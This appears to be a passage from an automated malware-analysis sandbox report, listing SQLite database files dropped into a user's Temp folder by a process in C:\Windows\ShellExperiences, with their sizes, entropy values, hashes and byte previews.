File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\69cvD6KBle

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6EC9LsTmWL

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6PnuVMd2Kt

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6RN2dVAAet

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6jzdY3pWNC

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7GSPd8ANvq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7IH04MgjX7

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Iphs7ceiY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7klCjpjjDU

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\82D9QWMLtq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\84QobOKDJ5

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\85ZHdKorx4

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8pssMFZrs3

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8rIkMTlTtb

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9CnCfCmMz3

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9aw09WPynQ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9jkB70QTTw

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9q9jq29Lj7

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A5jb59ND1Y

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A6FQMCTPKN

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ADgdTLF2Fo

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ANLyy6ozAP

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AVN1HijcRK

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B2R4aLoiRp

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BXyWzbqDLX

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BazzemGr9e

Download File

